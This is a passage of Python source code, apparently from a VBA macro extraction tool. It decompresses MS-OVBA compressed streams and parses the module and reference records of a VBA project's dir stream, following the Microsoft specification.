zlib.decompress(data[start:]) return extracted_data except zlib.error as exc: log.info('zlib decompression failed (%s)' % exc) log.debug('Trace:', exc_info=True) raise MsoExtractionError('Unable to decompress data from a MSO/ActiveMime file') #--- FUNCTIONS ---------------------------------------------------------------- # set of printable characters, for is_printable _PRINTABLE_SET = set(string.printable) def is_printable(s): # inspired from http://stackoverflow.com/questions/3636928/test-if-a-python-string-is-printable # check if the set of chars from s is contained into the set of printable chars: return set(s).issubset(_PRINTABLE_SET) def copytoken_help(decompressed_current, decompressed_chunk_start): difference = decompressed_current - decompressed_chunk_start bit_count = int(math.ceil(math.log(difference, 2))) bit_count = max([bit_count, 4]) length_mask = 0xFFFF >> bit_count offset_mask = ~length_mask maximum_length = (0xFFFF >> bit_count) + 3 return length_mask, offset_mask, bit_count, maximum_length def decompress_stream(compressed_container): # 2.4.1.2 State Variables # The following state is maintained for the CompressedContainer (section 2.4.1.1.1): # CompressedRecordEnd: The location of the byte after the last byte in the CompressedContainer (section 2.4.1.1.1). # CompressedCurrent: The location of the next byte in the CompressedContainer (section 2.4.1.1.1) to be read by # decompression or to be written by compression. # The following state is maintained for the current CompressedChunk (section 2.4.1.1.4): # CompressedChunkStart: The location of the first byte of the CompressedChunk (section 2.4.1.1.4) within the # CompressedContainer (section 2.4.1.1.1). # The following state is maintained for a DecompressedBuffer (section 2.4.1.1.2): # DecompressedCurrent: The location of the next byte in the DecompressedBuffer (section 2.4.1.1.2) to be written by # decompression or to be read by compression. # DecompressedBufferEnd: The location of the byte after the last byte in the DecompressedBuffer (section 2.4.1.1.2). # The following state is maintained for the current DecompressedChunk (section 2.4.1.1.3): # DecompressedChunkStart: The location of the first byte of the DecompressedChunk (section 2.4.1.1.3) within the # DecompressedBuffer (section 2.4.1.1.2). # Check the input is a bytearray, otherwise convert it (assuming it's bytes): if not isinstance(compressed_container, bytearray): compressed_container = bytearray(compressed_container) # raise TypeError('decompress_stream requires a bytearray as input') log.debug('decompress_stream: compressed size = {} bytes'.format(len(compressed_container))) decompressed_container = bytearray() # result compressed_current = 0 sig_byte = compressed_container[compressed_current] if sig_byte != 0x01: raise ValueError('invalid signature byte {0:02X}'.format(sig_byte)) compressed_current += 1 #NOTE: the definition of CompressedRecordEnd is ambiguous. Here we assume that # CompressedRecordEnd = len(compressed_container) while compressed_current < len(compressed_container): # 2.4.1.1.5 compressed_chunk_start = compressed_current # chunk header = first 16 bits compressed_chunk_header = \ struct.unpack("<H", compressed_container[compressed_chunk_start:compressed_chunk_start + 2])[0] # chunk size = 12 first bits of header + 3 chunk_size = (compressed_chunk_header & 0x0FFF) + 3 # chunk signature = 3 next bits - should always be 0b011 chunk_signature = (compressed_chunk_header >> 12) & 0x07 if chunk_signature != 0b011: raise ValueError('Invalid CompressedChunkSignature in VBA compressed stream') # chunk flag = next bit - 1 == compressed, 0 == uncompressed chunk_flag = (compressed_chunk_header >> 15) & 0x01 log.debug("chunk size = {}, offset = {}, compressed flag = {}".format(chunk_size, compressed_chunk_start, chunk_flag)) #MS-OVBA 2.4.1.3.12: the maximum size of a chunk including its header is 4098 bytes (header 2 + data 4096) # The minimum size is 3 bytes # NOTE: there seems to be a typo in MS-OVBA, the check should be with 4098, not 4095 (which is the max value # in chunk header before adding 3. # Also the first test is not useful since a 12 bits value cannot be larger than 4095. if chunk_flag == 1 and chunk_size > 4098: raise ValueError('CompressedChunkSize=%d > 4098 but CompressedChunkFlag == 1' % chunk_size) if chunk_flag == 0 and chunk_size != 4098: raise ValueError('CompressedChunkSize=%d != 4098 but CompressedChunkFlag == 0' % chunk_size) # check if chunk_size goes beyond the compressed data, instead of silently cutting it: #TODO: raise an exception? if compressed_chunk_start + chunk_size > len(compressed_container): log.warning('Chunk size is larger than remaining compressed data') compressed_end = min([len(compressed_container), compressed_chunk_start + chunk_size]) # read after chunk header: compressed_current = compressed_chunk_start + 2 if chunk_flag == 0: # MS-OVBA 2.4.1.3.3 Decompressing a RawChunk # uncompressed chunk: read the next 4096 bytes as-is #TODO: check if there are at least 4096 bytes left decompressed_container.extend(compressed_container[compressed_current:compressed_current + 4096]) compressed_current += 4096 else: # MS-OVBA 2.4.1.3.2 Decompressing a CompressedChunk # compressed chunk decompressed_chunk_start = len(decompressed_container) while compressed_current < compressed_end: # MS-OVBA 2.4.1.3.4 Decompressing a TokenSequence # log.debug('compressed_current = %d / compressed_end = %d' % (compressed_current, compressed_end)) # FlagByte: 8 bits indicating if the following 8 tokens are either literal (1 byte of plain text) or # copy tokens (reference to a previous literal token) flag_byte = compressed_container[compressed_current] compressed_current += 1 for bit_index in xrange(0, 8): # log.debug('bit_index=%d / compressed_current=%d / compressed_end=%d' % (bit_index, compressed_current, compressed_end)) if compressed_current >= compressed_end: break # MS-OVBA 2.4.1.3.5 Decompressing a Token # MS-OVBA 2.4.1.3.17 Extract FlagBit flag_bit = (flag_byte >> bit_index) & 1 #log.debug('bit_index=%d: flag_bit=%d' % (bit_index, flag_bit)) if flag_bit == 0: # LiteralToken # copy one byte directly to output decompressed_container.extend([compressed_container[compressed_current]]) compressed_current += 1 else: # CopyToken # MS-OVBA 2.4.1.3.19.2 Unpack CopyToken copy_token = \ struct.unpack("<H", compressed_container[compressed_current:compressed_current + 2])[0] #TODO: check this length_mask, offset_mask, bit_count, _ = copytoken_help( len(decompressed_container), decompressed_chunk_start) length = (copy_token & length_mask) + 3 temp1 = copy_token & offset_mask temp2 = 16 - bit_count offset = (temp1 >> temp2) + 1 #log.debug('offset=%d length=%d' % (offset, length)) copy_source = len(decompressed_container) - offset for index in xrange(copy_source, copy_source + length): decompressed_container.extend([decompressed_container[index]]) compressed_current += 2 return bytes(decompressed_container) class VBA_Module(object): def __init__(self, project, dir_stream, module_index): #: reference to the VBA project for later use (VBA_Project) self.project = project #: VBA module name (unicode str) self.name = None #: VBA module name as a native str (utf8 bytes on py2, str on py3) self.name_str = None #: VBA module name, unicode copy (unicode str) self._name_unicode = None #: Stream name containing the VBA module (unicode str) self.streamname = None #: Stream name containing the VBA module as a native str (utf8 bytes on py2, str on py3) self.streamname_str = None self._streamname_unicode = None self.docstring = None self._docstring_unicode = None self.textoffset = None self.type = None self.readonly = False self.private = False #: VBA source code in bytes format, using the original code page from the VBA project self.code_raw = None #: VBA source code in unicode format (unicode for Python2, str for Python 3) self.code = None #: VBA source code in native str format (str encoded with UTF-8 for Python 2, str for Python 3) self.code_str = None #: VBA module file name including an extension based on the module type such as bas, cls, frm (unicode str) self.filename = None #: VBA module file name in native str format (str) self.filename_str = None self.code_path = None try: # 2.3.4.2.3.2.1 MODULENAME Record # Specifies a VBA identifier as the name of the containing MODULE Record _id = struct.unpack("<H", dir_stream.read(2))[0] project.check_value('MODULENAME_Id', 0x0019, _id) size = struct.unpack("<L", dir_stream.read(4))[0] modulename_bytes = dir_stream.read(size) # Module name always stored as Unicode: self.name = project.decode_bytes(modulename_bytes) self.name_str = unicode2str(self.name) # account for optional sections # TODO: shouldn't this be a loop? (check MS-OVBA) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0047: # 2.3.4.2.3.2.2 MODULENAMEUNICODE Record # Specifies a VBA identifier as the name of the containing MODULE Record (section 2.3.4.2.3.2). # MUST contain the UTF-16 encoding of MODULENAME Record size = struct.unpack("<L", dir_stream.read(4))[0] self._name_unicode = dir_stream.read(size).decode('UTF-16LE', 'replace') section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x001A: # 2.3.4.2.3.2.3 MODULESTREAMNAME Record # Specifies the stream name of the ModuleStream (section 2.3.4.3) in the VBA Storage (section 2.3.4) # corresponding to the containing MODULE Record size = struct.unpack("<L", dir_stream.read(4))[0] streamname_bytes = dir_stream.read(size) # Store it as Unicode: self.streamname = project.decode_bytes(streamname_bytes) self.streamname_str = unicode2str(self.streamname) reserved = struct.unpack("<H", dir_stream.read(2))[0] project.check_value('MODULESTREAMNAME_Reserved', 0x0032, reserved) size = struct.unpack("<L", dir_stream.read(4))[0] self._streamname_unicode = dir_stream.read(size).decode('UTF-16LE', 'replace') section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x001C: # 2.3.4.2.3.2.4 MODULEDOCSTRING Record # Specifies the description for the containing MODULE Record size = struct.unpack("<L", dir_stream.read(4))[0] docstring_bytes = dir_stream.read(size) self.docstring = project.decode_bytes(docstring_bytes) reserved = struct.unpack("<H", dir_stream.read(2))[0] project.check_value('MODULEDOCSTRING_Reserved', 0x0048, reserved) size = struct.unpack("<L", dir_stream.read(4))[0] self._docstring_unicode = dir_stream.read(size) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0031: # 2.3.4.2.3.2.5 MODULEOFFSET Record # Specifies the location of the source code within the ModuleStream (section 2.3.4.3) # that corresponds to the containing MODULE Record size = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEOFFSET_Size', 0x0004, size) self.textoffset = struct.unpack("<L", dir_stream.read(4))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x001E: # 2.3.4.2.3.2.6 MODULEHELPCONTEXT Record # Specifies the Help topic identifier for the containing MODULE Record modulehelpcontext_size = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEHELPCONTEXT_Size', 0x0004, modulehelpcontext_size) # HelpContext (4 bytes): An unsigned integer that specifies the Help topic identifier # in the Help file specified by PROJECTHELPFILEPATH Record helpcontext = struct.unpack("<L", dir_stream.read(4))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x002C: # 2.3.4.2.3.2.7 MODULECOOKIE Record # Specifies ignored data. size = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULECOOKIE_Size', 0x0002, size) cookie = struct.unpack("<H", dir_stream.read(2))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0021 or section_id == 0x0022: # 2.3.4.2.3.2.8 MODULETYPE Record # Specifies whether the containing MODULE Record (section 2.3.4.2.3.2) is a procedural module, # document module, class module, or designer module. # Id (2 bytes): An unsigned integer that specifies the identifier for this record. # MUST be 0x0021 when the containing MODULE Record (section 2.3.4.2.3.2) is a procedural module. # MUST be 0x0022 when the containing MODULE Record (section 2.3.4.2.3.2) is a document module, # class module, or designer module. self.type = section_id reserved = struct.unpack("<L", dir_stream.read(4))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0025: # 2.3.4.2.3.2.9 MODULEREADONLY Record # Specifies that the containing MODULE Record (section 2.3.4.2.3.2) is read-only. self.readonly = True reserved = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEREADONLY_Reserved', 0x0000, reserved) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0028: # 2.3.4.2.3.2.10 MODULEPRIVATE Record # Specifies that the containing MODULE Record (section 2.3.4.2.3.2) is only usable from within # the current VBA project. self.private = True reserved = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEPRIVATE_Reserved', 0x0000, reserved) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x002B: # TERMINATOR # Terminator (2 bytes): An unsigned integer that specifies the end of this record. MUST be 0x002B. # Reserved (4 bytes): MUST be 0x00000000. MUST be ignored. reserved = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULE_Reserved', 0x0000, reserved) section_id = None if section_id != None: log.warning('unknown or invalid module section id {0:04X}'.format(section_id)) log.debug("Module Name = {0}".format(self.name_str)) # log.debug("Module Name Unicode = {0}".format(self._name_unicode)) log.debug("Stream Name = {0}".format(self.streamname_str)) # log.debug("Stream Name Unicode = {0}".format(self._streamname_unicode)) log.debug("TextOffset = {0}".format(self.textoffset)) code_data = None # let's try the different names we have, just in case some are missing: try_names = (self.streamname, self._streamname_unicode, self.name, self._name_unicode) for stream_name in try_names: # TODO: if olefile._find were less private, could replace this # try-except with calls to it if stream_name is not None: try: self.code_path = project.vba_root + u'VBA/' + stream_name log.debug('opening VBA code stream %s' % self.code_path) code_data = project.ole.openstream(self.code_path).read() break except IOError as ioe: log.debug('failed to open stream VBA/%r (%r), try other name' % (stream_name, ioe)) if code_data is None: log.info("Could not open stream %d of %d ('VBA/' + one of %r)!" % (module_index, project.modules_count, '/'.join("'" + stream_name + "'" for stream_name in try_names))) if project.relaxed: return # ... continue with next submodule else: raise SubstreamOpenError('[BASE]', 'VBA/' + self.name) log.debug("length of code_data = {0}".format(len(code_data))) log.debug("offset of code_data = {0}".format(self.textoffset)) code_data = code_data[self.textoffset:] if len(code_data) > 0: code_data = decompress_stream(bytearray(code_data)) # store the raw code encoded as bytes with the project's code page: self.code_raw = code_data # Unicode conversion does nasty things to VBA extended ASCII # characters. VBA payload decode routines work correctly with the # raw byte values in payload strings in the decompressed VBA, so leave # strings alone. self.code = project.fix_bytes(code_data) self.code_str = self.code # case-insensitive search in the code_modules dict to find the file extension: filext = self.project.module_ext.get(self.name.lower(), 'vba') self.filename = u'{0}.{1}'.format(self.name, filext) self.filename_str = unicode2str(self.filename) log.debug('extracted file {0}'.format(self.filename_str)) else: log.warning("module stream {0} has code data length 0".format(self.streamname_str)) except (UnexpectedDataError, SubstreamOpenError): raise except Exception as exc: log.info('Error parsing module {0} of {1}:' .format(module_index, project.modules_count), exc_info=True) # TODO: here if we don't raise the exception it causes other issues because the module # is not properly initialised (e.g. self.code_str=None causing issue #629) raise # if not project.relaxed: # raise class VBA_Project(object): def __init__(self, ole, vba_root, project_path, dir_path, relaxed=True): self.ole = ole self.vba_root = vba_root self. project_path = project_path self.dir_path = dir_path self.relaxed = relaxed #: VBA modules contained in the project (list of VBA_Module objects) self.modules = [] #: file extension for each VBA module self.module_ext = {} log.debug('Parsing the dir stream from %r' % dir_path) # read data from dir stream (compressed) dir_compressed = ole.openstream(dir_path).read() # decompress it: dir_stream = BytesIO(decompress_stream(bytearray(dir_compressed))) # store reference for later use: self.dir_stream = dir_stream # reference: MS-VBAL 2.3.4.2 dir Stream: Version Independent Project Information # PROJECTSYSKIND Record # Specifies the platform for which the VBA project is created. projectsyskind_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTSYSKIND_Id', 0x0001, projectsyskind_id) projectsyskind_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTSYSKIND_Size', 0x0004, projectsyskind_size) self.syskind = struct.unpack("<L", dir_stream.read(4))[0] SYSKIND_NAME = { 0x00: "16-bit Windows", 0x01: "32-bit Windows", 0x02: "Macintosh", 0x03: "64-bit Windows" } self.syskind_name = SYSKIND_NAME.get(self.syskind, 'Unknown') log.debug("PROJECTSYSKIND_SysKind: %d - %s" % (self.syskind, self.syskind_name)) if self.syskind not in SYSKIND_NAME: log.error("invalid PROJECTSYSKIND_SysKind {0:04X}".format(self.syskind)) # PROJECTLCID Record # Specifies the VBA project's LCID. projectlcid_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTLCID_Id', 0x0002, projectlcid_id) projectlcid_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCID_Size', 0x0004, projectlcid_size) # Lcid (4 bytes): An unsigned integer that specifies the LCID value for the VBA project. MUST be 0x00000409. self.lcid = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCID_Lcid', 0x409, self.lcid) # PROJECTLCIDINVOKE Record # Specifies an LCID value used for Invoke calls on an Automation server as specified in [MS-OAUT] section 3.1.4.4. projectlcidinvoke_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTLCIDINVOKE_Id', 0x0014, projectlcidinvoke_id) projectlcidinvoke_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCIDINVOKE_Size', 0x0004, projectlcidinvoke_size) # LcidInvoke (4 bytes): An unsigned integer that specifies the LCID value used for Invoke calls. MUST be 0x00000409. self.lcidinvoke = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLCIDINVOKE_LcidInvoke', 0x409, self.lcidinvoke) # PROJECTCODEPAGE Record # Specifies the VBA project's code page. projectcodepage_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTCODEPAGE_Id', 0x0003, projectcodepage_id) projectcodepage_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTCODEPAGE_Size', 0x0002, projectcodepage_size) self.codepage = struct.unpack("<H", dir_stream.read(2))[0] self.codepage_name = codepages.get_codepage_name(self.codepage) log.debug('Project Code Page: %r - %s' % (self.codepage, self.codepage_name)) self.codec = codepages.codepage2codec(self.codepage) log.debug('Python codec corresponding to code page %d: %s' % (self.codepage, self.codec)) # PROJECTNAME Record # Specifies a unique VBA identifier as the name of the VBA project. projectname_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTNAME_Id', 0x0004, projectname_id) sizeof_projectname = struct.unpack("<L", dir_stream.read(4))[0] log.debug('Project name size: %d bytes' % sizeof_projectname) if sizeof_projectname < 1 or sizeof_projectname > 128: # TODO: raise an actual error? What is MS Office's behaviour? log.error("PROJECTNAME_SizeOfProjectName value not in range [1-128]: {0}".format(sizeof_projectname)) projectname_bytes = dir_stream.read(sizeof_projectname) self.projectname = self.decode_bytes(projectname_bytes) # PROJECTDOCSTRING Record # Specifies the description for the VBA project. projectdocstring_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTDOCSTRING_Id', 0x0005, projectdocstring_id) projectdocstring_sizeof_docstring = struct.unpack("<L", dir_stream.read(4))[0] if projectdocstring_sizeof_docstring > 2000: log.error( "PROJECTDOCSTRING_SizeOfDocString value not in range: {0}".format(projectdocstring_sizeof_docstring)) # DocString (variable): An array of SizeOfDocString bytes that specifies the description for the VBA project. # MUST contain MBCS characters encoded using the code page specified in PROJECTCODEPAGE (section 2.3.4.2.1.4). # MUST NOT contain null characters. docstring_bytes = dir_stream.read(projectdocstring_sizeof_docstring) self.docstring = self.decode_bytes(docstring_bytes) projectdocstring_reserved = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTDOCSTRING_Reserved', 0x0040, projectdocstring_reserved) projectdocstring_sizeof_docstring_unicode = struct.unpack("<L", dir_stream.read(4))[0] if projectdocstring_sizeof_docstring_unicode % 2 != 0: log.error("PROJECTDOCSTRING_SizeOfDocStringUnicode is not even") # DocStringUnicode (variable): An array of SizeOfDocStringUnicode bytes that specifies the description for the # VBA project. MUST contain UTF-16 characters. MUST NOT contain null characters. # MUST contain the UTF-16 encoding of DocString. docstring_unicode_bytes = dir_stream.read(projectdocstring_sizeof_docstring_unicode) self.docstring_unicode = docstring_unicode_bytes.decode('utf16', errors='replace') # PROJECTHELPFILEPATH Record - MS-OVBA 2.3.4.2.1.7 projecthelpfilepath_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTHELPFILEPATH_Id', 0x0006, projecthelpfilepath_id) projecthelpfilepath_sizeof_helpfile1 = struct.unpack("<L", dir_stream.read(4))[0] if projecthelpfilepath_sizeof_helpfile1 > 260: log.error( "PROJECTHELPFILEPATH_SizeOfHelpFile1 value not in range: {0}".format(projecthelpfilepath_sizeof_helpfile1)) projecthelpfilepath_helpfile1 = dir_stream.read(projecthelpfilepath_sizeof_helpfile1) projecthelpfilepath_reserved = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTHELPFILEPATH_Reserved', 0x003D, projecthelpfilepath_reserved) projecthelpfilepath_sizeof_helpfile2 = struct.unpack("<L", dir_stream.read(4))[0] if projecthelpfilepath_sizeof_helpfile2 != projecthelpfilepath_sizeof_helpfile1: log.error("PROJECTHELPFILEPATH_SizeOfHelpFile1 does not equal PROJECTHELPFILEPATH_SizeOfHelpFile2") projecthelpfilepath_helpfile2 = dir_stream.read(projecthelpfilepath_sizeof_helpfile2) if projecthelpfilepath_helpfile2 != projecthelpfilepath_helpfile1: log.error("PROJECTHELPFILEPATH_HelpFile1 does not equal PROJECTHELPFILEPATH_HelpFile2") # PROJECTHELPCONTEXT Record projecthelpcontext_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTHELPCONTEXT_Id', 0x0007, projecthelpcontext_id) projecthelpcontext_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTHELPCONTEXT_Size', 0x0004, projecthelpcontext_size) projecthelpcontext_helpcontext = struct.unpack("<L", dir_stream.read(4))[0] unused = projecthelpcontext_helpcontext # PROJECTLIBFLAGS Record projectlibflags_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTLIBFLAGS_Id', 0x0008, projectlibflags_id) projectlibflags_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLIBFLAGS_Size', 0x0004, projectlibflags_size) projectlibflags_projectlibflags = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTLIBFLAGS_ProjectLibFlags', 0x0000, projectlibflags_projectlibflags) # PROJECTVERSION Record projectversion_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTVERSION_Id', 0x0009, projectversion_id) projectversion_reserved = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTVERSION_Reserved', 0x0004, projectversion_reserved) projectversion_versionmajor = struct.unpack("<L", dir_stream.read(4))[0] projectversion_versionminor = struct.unpack("<H", dir_stream.read(2))[0] unused = projectversion_versionmajor unused = projectversion_versionminor # PROJECTCONSTANTS Record projectconstants_id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTCONSTANTS_Id', 0x000C, projectconstants_id) projectconstants_sizeof_constants = struct.unpack("<L", dir_stream.read(4))[0] if projectconstants_sizeof_constants > 1015: log.error( "PROJECTCONSTANTS_SizeOfConstants value not in range: {0}".format(projectconstants_sizeof_constants)) projectconstants_constants = dir_stream.read(projectconstants_sizeof_constants) projectconstants_reserved = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTCONSTANTS_Reserved', 0x003C, projectconstants_reserved) projectconstants_sizeof_constants_unicode = struct.unpack("<L", dir_stream.read(4))[0] if projectconstants_sizeof_constants_unicode % 2 != 0: log.error("PROJECTCONSTANTS_SizeOfConstantsUnicode is not even") projectconstants_constants_unicode = dir_stream.read(projectconstants_sizeof_constants_unicode) unused = projectconstants_constants unused = projectconstants_constants_unicode # array of REFERENCE records # Specifies a reference to an Automation type library or VBA project. check = None while True: check = struct.unpack("<H", dir_stream.read(2))[0] log.debug("reference type = {0:04X}".format(check)) if check == 0x000F: break if check == 0x0016: # REFERENCENAME # Specifies the name of a referenced VBA project or Automation type library. reference_id = check reference_sizeof_name = struct.unpack("<L", dir_stream.read(4))[0] reference_name = dir_stream.read(reference_sizeof_name) log.debug('REFERENCE name: %s' % unicode2str(self.decode_bytes(reference_name))) reference_reserved = struct.unpack("<H", dir_stream.read(2))[0] # According to [MS-OVBA] 2.3.4.2.2.2 REFERENCENAME Record: # "Reserved (2 bytes): MUST be 0x003E. MUST be ignored." # So let's ignore it, otherwise it crashes on some files (issue #132) # PR #135 by @c1fe: # contrary to the specification I think that the unicode name # is optional. if reference_reserved is not 0x003E I think it # is actually the start of another REFERENCE record # at least when projectsyskind_syskind == 0x02 (Macintosh) if reference_reserved == 0x003E: #if reference_reserved not in (0x003E, 0x000D): # raise UnexpectedDataError(dir_path, 'REFERENCE_Reserved', # 0x0003E, reference_reserved) reference_sizeof_name_unicode = struct.unpack("<L", dir_stream.read(4))[0] reference_name_unicode = dir_stream.read(reference_sizeof_name_unicode) unused = reference_id unused = reference_name unused = reference_name_unicode continue else: check = reference_reserved log.debug("reference type = {0:04X}".format(check)) if check == 0x0033: # REFERENCEORIGINAL (followed by REFERENCECONTROL) # Specifies the identifier of the Automation type library the containing REFERENCECONTROL's # (section 2.3.4.2.2.3) twiddled type library was generated from. referenceoriginal_id = check referenceoriginal_sizeof_libidoriginal = struct.unpack("<L", dir_stream.read(4))[0] referenceoriginal_libidoriginal = dir_stream.read(referenceoriginal_sizeof_libidoriginal) log.debug('REFERENCE original lib id: %s' % unicode2str(self.decode_bytes(referenceoriginal_libidoriginal))) unused = referenceoriginal_id unused = referenceoriginal_libidoriginal continue if check == 0x002F: # REFERENCECONTROL # Specifies a reference to a twiddled type library and its extended type library. referencecontrol_id = check referencecontrol_sizetwiddled = struct.unpack("<L", dir_stream.read(4))[0] # ignore referencecontrol_sizeof_libidtwiddled = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_libidtwiddled = dir_stream.read(referencecontrol_sizeof_libidtwiddled) log.debug('REFERENCE control twiddled lib id: %s' % unicode2str(self.decode_bytes(referencecontrol_libidtwiddled))) referencecontrol_reserved1 = struct.unpack("<L", dir_stream.read(4))[0] # ignore self.check_value('REFERENCECONTROL_Reserved1', 0x0000, referencecontrol_reserved1) referencecontrol_reserved2 = struct.unpack("<H", dir_stream.read(2))[0] # ignore self.check_value('REFERENCECONTROL_Reserved2', 0x0000, referencecontrol_reserved2) unused = referencecontrol_id unused = referencecontrol_sizetwiddled unused = referencecontrol_libidtwiddled # optional field check2 = struct.unpack("<H", dir_stream.read(2))[0] if check2 == 0x0016: referencecontrol_namerecordextended_id = check referencecontrol_namerecordextended_sizeof_name = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_namerecordextended_name = dir_stream.read( referencecontrol_namerecordextended_sizeof_name) log.debug('REFERENCE control name record extended: %s' % unicode2str( self.decode_bytes(referencecontrol_namerecordextended_name))) referencecontrol_namerecordextended_reserved = struct.unpack("<H", dir_stream.read(2))[0] if referencecontrol_namerecordextended_reserved == 0x003E: referencecontrol_namerecordextended_sizeof_name_unicode = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_namerecordextended_name_unicode = dir_stream.read( referencecontrol_namerecordextended_sizeof_name_unicode) referencecontrol_reserved3 = struct.unpack("<H", dir_stream.read(2))[0] unused = referencecontrol_namerecordextended_id unused = referencecontrol_namerecordextended_name unused = referencecontrol_namerecordextended_name_unicode else: referencecontrol_reserved3 = referencecontrol_namerecordextended_reserved else: referencecontrol_reserved3 = check2 self.check_value('REFERENCECONTROL_Reserved3', 0x0030, referencecontrol_reserved3) referencecontrol_sizeextended = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_sizeof_libidextended = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_libidextended = dir_stream.read(referencecontrol_sizeof_libidextended) referencecontrol_reserved4 = struct.unpack("<L", dir_stream.read(4))[0] referencecontrol_reserved5 = struct.unpack("<H", dir_stream.read(2))[0] referencecontrol_originaltypelib = dir_stream.read(16) referencecontrol_cookie = struct.unpack("<L", dir_stream.read(4))[0] unused = referencecontrol_sizeextended unused = referencecontrol_libidextended unused = referencecontrol_reserved4 unused = referencecontrol_reserved5 unused = referencecontrol_originaltypelib unused = referencecontrol_cookie continue if check == 0x000D: # REFERENCEREGISTERED # Specifies a reference to an Automation type library. referenceregistered_id = check referenceregistered_size = struct.unpack("<L", dir_stream.read(4))[0] referenceregistered_sizeof_libid = struct.unpack("<L", dir_stream.read(4))[0] referenceregistered_libid = dir_stream.read(referenceregistered_sizeof_libid) log.debug('REFERENCE registered lib id: %s' % unicode2str(self.decode_bytes(referenceregistered_libid))) referenceregistered_reserved1 = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('REFERENCEREGISTERED_Reserved1', 0x0000, referenceregistered_reserved1) referenceregistered_reserved2 = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('REFERENCEREGISTERED_Reserved2', 0x0000, referenceregistered_reserved2) unused = referenceregistered_id unused = referenceregistered_size unused = referenceregistered_libid continue if check == 0x000E: # REFERENCEPROJECT # Specifies a reference to an external VBA project. referenceproject_id = check referenceproject_size = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_sizeof_libidabsolute = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_libidabsolute = dir_stream.read(referenceproject_sizeof_libidabsolute) log.debug('REFERENCE project lib id absolute: %s' % unicode2str(self.decode_bytes(referenceproject_libidabsolute))) referenceproject_sizeof_libidrelative = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_libidrelative = dir_stream.read(referenceproject_sizeof_libidrelative) log.debug('REFERENCE project lib id relative: %s' % unicode2str(self.decode_bytes(referenceproject_libidrelative))) referenceproject_majorversion = struct.unpack("<L", dir_stream.read(4))[0] referenceproject_minorversion = struct.unpack("<H", dir_stream.read(2))[0] unused = referenceproject_id unused = referenceproject_size unused = referenceproject_libidabsolute unused = referenceproject_libidrelative unused = referenceproject_majorversion unused = referenceproject_minorversion continue log.error('invalid or unknown check Id {0:04X}'.format(check)) # raise an exception instead of stopping abruptly (issue #180) raise UnexpectedDataError(dir_path, 'reference type', (0x0F, 0x16, 0x33, 0x2F, 0x0D, 0x0E), check) #sys.exit(0) def check_value(self, name, expected, value): if expected != value: if self.relaxed: # It happens quite often that some values do not strictly follow # the MS-OVBA specifications, and this does not prevent the VBA # code from being extracted, so here we only raise a warning: log.warning("invalid value for {0} expected {1:04X} got {2:04X}" .format(name, expected, value)) else: raise UnexpectedDataError(self.dir_path, name, expected, value) def parse_project_stream(self): # Open the PROJECT stream: # reference: [MS-OVBA] 2.3.1 PROJECT Stream project_stream = self.ole.openstream(self.project_path) # sample content of the PROJECT stream: ## ID="{5312AC8A-349D-4950-BDD0-49BE3C4DD0F0}" ## Document=ThisDocument/&H00000000 ## Module=NewMacros ## Name="Project" ## HelpContextID="0" ## VersionCompatible32="393222000" ## CMG="F1F301E705E705E705E705" ## DPB="8F8D7FE3831F2020202020" ## GC="2D2FDD81E51EE61EE6E1" ## ## [Host Extender Info] ## &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 ## &H00000002={000209F2-0000-0000-C000-000000000046};Word8.0;&H00000000 ## ## [Workspace] ## ThisDocument=22, 29, 339, 477, Z ## NewMacros=-4, 42, 832, 510, C self.module_ext = {} 